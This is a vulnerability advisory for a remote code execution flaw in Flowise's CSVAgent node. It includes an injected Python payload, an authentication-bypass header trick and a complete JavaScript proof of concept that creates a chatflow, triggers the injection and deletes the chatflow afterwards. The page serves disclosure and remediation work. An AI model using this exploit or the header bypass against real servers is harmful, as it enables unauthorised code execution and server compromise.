PT-2026-35303 · Npm · Flowise+1

Publicado

2026-04-16

·

Atualizado

2026-04-16

CVSS v3.1

8.8

Alta

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: DataFrame({'foo': ['bar!']});import os;os.system('whoami') that will get interpolated and executed by the server.

Details

The code in question that introduces the issue is in CSVAgent.ts. customReadCSVFunc is user-controlled and gets interpolated directly without sanitization into the code variable which gets executed by pyodide one line later in: dataframeColDict = await pyodide.runPythonAsync(code). An authenticated attacker can issue the following chain of requests:
  1. Create a new chat flow by sending a POST request to /api/v1/chatflows. This will return the chatflowId in the response.
  2. Send a POST request to /api/v1/prediction/[CHATFLOWID] to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.
  3. Optionally: send a DELETE request to /api/v1/chatflows to cleanup and delete the chat flow.
Since /chatflows is not whitelisted here, this mandates the user to be authenticated. But, if FLOWISE USERNAME and FLOWISE PQSSWORD aren't set, it's sufficient to provide the "x-request-from": "internal" header to bypass authentication.

PoC

Here's the PoC code:
const PORT = 3000;
const FLOWISE HOST URL = `http://127.0.0.1:${PORT}`;
const PREDICTION URL = '/api/v1/prediction';
const CHATFLOWS URL = '/api/v1/chatflows';

const flowData = JSON.parse("{"nodes":[{"id":"csvAgent 0","position":{"x":681,"y":212},"type":"customNode","data":{"label":"CSV Agent","name":"csvAgent","version":3,"type":"AgentExecutor","category":"Agents","icon":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg","description":"Agent used to answer queries on CSV data","baseClasses":["AgentExecutor","BaseChain","Runnable"],"inputs":{"csvFile":"","model":"{{openAI 0.data.instance}}","systemMessagePrompt":"","inputModeration":"","customReadCSV":"DataFrame({'foo': ['bar!']});import os;os.system('whoami');"},"filePath":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js","inputAnchors":[{"label":"Language Model","name":"model","type":"BaseLanguageModel","id":"csvAgent 0-input-model-BaseLanguageModel"},{"label":"Input Moderation","description":"Detect text that could generate harmful output and prevent it from being sent to the language model","name":"inputModeration","type":"Moderation","optional":true,"list":true,"id":"csvAgent 0-input-inputModeration-Moderation"}],"inputParams":[{"label":"Csv File","name":"csvFile","type":"file","fileType":".csv","id":"csvAgent 0-input-csvFile-file"},{"label":"System Message","name":"systemMessagePrompt","type":"string","rows":4,"additionalParams":true,"optional":true,"placeholder":"I want you to act as a document that I am having a conversation with. Your name is "AI Assistant". You will provide me with answers from the given info. If the answer is not included, say exactly "Hmm, I am not sure." and stop after that. Refuse to answer any question not about the info. Never break character.","id":"csvAgent 0-input-systemMessagePrompt-string"},{"label":"Custom Pandas Read CSV Code","description":"Custom Pandas <a target=" blank" href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read csv.html">read csv</a> function. Takes in an input: "csv data"","name":"customReadCSV","default":"read csv(csv data)","type":"code","optional":true,"additionalParams":true,"id":"csvAgent 0-input-customReadCSV-code"}],"outputs":{},"outputAnchors":[{"id":"csvAgent 0-output-csvAgent-AgentExecutor|BaseChain|Runnable","name":"csvAgent","label":"AgentExecutor","description":"Agent used to answer queries on CSV data","type":"AgentExecutor | BaseChain | Runnable"}],"id":"csvAgent 0","selected":false},"width":300,"height":464,"selected":true,"dragging":false,"positionAbsolute":{"x":681,"y":212}},{"id":"openAI 0","position":{"x":238.83389711655053,"y":233.09962591816395},"type":"customNode","data":{"loadMethods":{},"label":"OpenAI","name":"openAI","version":4,"type":"OpenAI","icon":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg","category":"LLMs","description":"Wrapper around OpenAI large language models","baseClasses":["OpenAI","BaseLLM","BaseLanguageModel","Runnable"],"credential":"","inputs":{"cache":"","modelName":"gpt-3.5-turbo-instruct","temperature":0.7,"maxTokens":"","topP":"","bestOf":"","frequencyPenalty":"","presencePenalty":"","batchSize":"","timeout":"","basepath":"","baseOptions":""},"filePath":"/home/raul-snyk/research/ai/Flowise/packages/server/node modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js","inputAnchors":[{"label":"Cache","name":"cache","type":"BaseCache","optional":true,"id":"openAI 0-input-cache-BaseCache"}],"inputParams":[{"label":"Connect Credential","name":"credential","type":"credential","credentialNames":["openAIApi"],"id":"openAI 0-input-credential-credential"},{"label":"Model Name","name":"modelName","type":"asyncOptions","loadMethod":"listModels","default":"gpt-3.5-turbo-instruct","id":"openAI 0-input-modelName-asyncOptions"},{"label":"Temperature","name":"temperature","type":"number","step":0.1,"default":0.7,"optional":true,"id":"openAI 0-input-temperature-number"},{"label":"Max Tokens","name":"maxTokens","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-maxTokens-number"},{"label":"Top Probability","name":"topP","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-topP-number"},{"label":"Best Of","name":"bestOf","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-bestOf-number"},{"label":"Frequency Penalty","name":"frequencyPenalty","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-frequencyPenalty-number"},{"label":"Presence Penalty","name":"presencePenalty","type":"number","step":0.1,"optional":true,"additionalParams":true,"id":"openAI 0-input-presencePenalty-number"},{"label":"Batch Size","name":"batchSize","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-batchSize-number"},{"label":"Timeout","name":"timeout","type":"number","step":1,"optional":true,"additionalParams":true,"id":"openAI 0-input-timeout-number"},{"label":"BasePath","name":"basepath","type":"string","optional":true,"additionalParams":true,"id":"openAI 0-input-basepath-string"},{"label":"BaseOptions","name":"baseOptions","type":"json","optional":true,"additionalParams":true,"id":"openAI 0-input-baseOptions-json"}],"outputs":{},"outputAnchors":[{"id":"openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable","name":"openAI","label":"OpenAI","description":"Wrapper around OpenAI large language models","type":"OpenAI | BaseLLM | BaseLanguageModel | Runnable"}],"id":"openAI 0","selected":false},"width":300,"height":574,"selected":false,"positionAbsolute":{"x":238.83389711655053,"y":233.09962591816395},"dragging":false}],"edges":[{"source":"openAI 0","sourceHandle":"openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable","target":"csvAgent 0","targetHandle":"csvAgent 0-input-model-BaseLanguageModel","type":"buttonedge","id":"openAI 0-openAI 0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent 0-csvAgent 0-input-model-BaseLanguageModel"}],"viewport":{"x":73.92828909845196,"y":-4.475777844396191,"zoom":0.7371346086455504}}");
const payload = {"name":"CSV PWN","deployed":false,"isPublic":false,"flowData":JSON.stringify(flowData),"type":"CHATFLOW"};

// Create chatflow.
let res = await fetch(`${FLOWISE HOST URL}${CHATFLOWS URL}`, {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "Authorization": "Bearer <your-api-key>"
    //Alternative: "x-request-from": "internal"
  },
  body: JSON.stringify(payload)
});

let resJson = await res.json();
let chatflowId = resJson?.id;

// Trigger vuln.
await fetch(`${FLOWISE HOST URL}${PREDICTION URL}/${chatflowId}`, {
  method: "POST",
  headers: {
    "Content-Type": "application/json"
  },
  body: JSON.stringify({"question": "whoami?"})
});

// Cleanup.
await fetch(`${FLOWISE HOST URL}${CHATFLOWS URL}/${chatflowId}`, {
  method: "DELETE",
  headers: {
    "Content-Type": "application/json",
    "Authorization": "Bearer <your-api-key>"
    //Alternative: "x-request-from": "internal"
  }
});

Impact

This results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.

Correção

Code Injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-9WC7-MJ3F-74XV

Produtos afetados

Flowise
Flowise-Components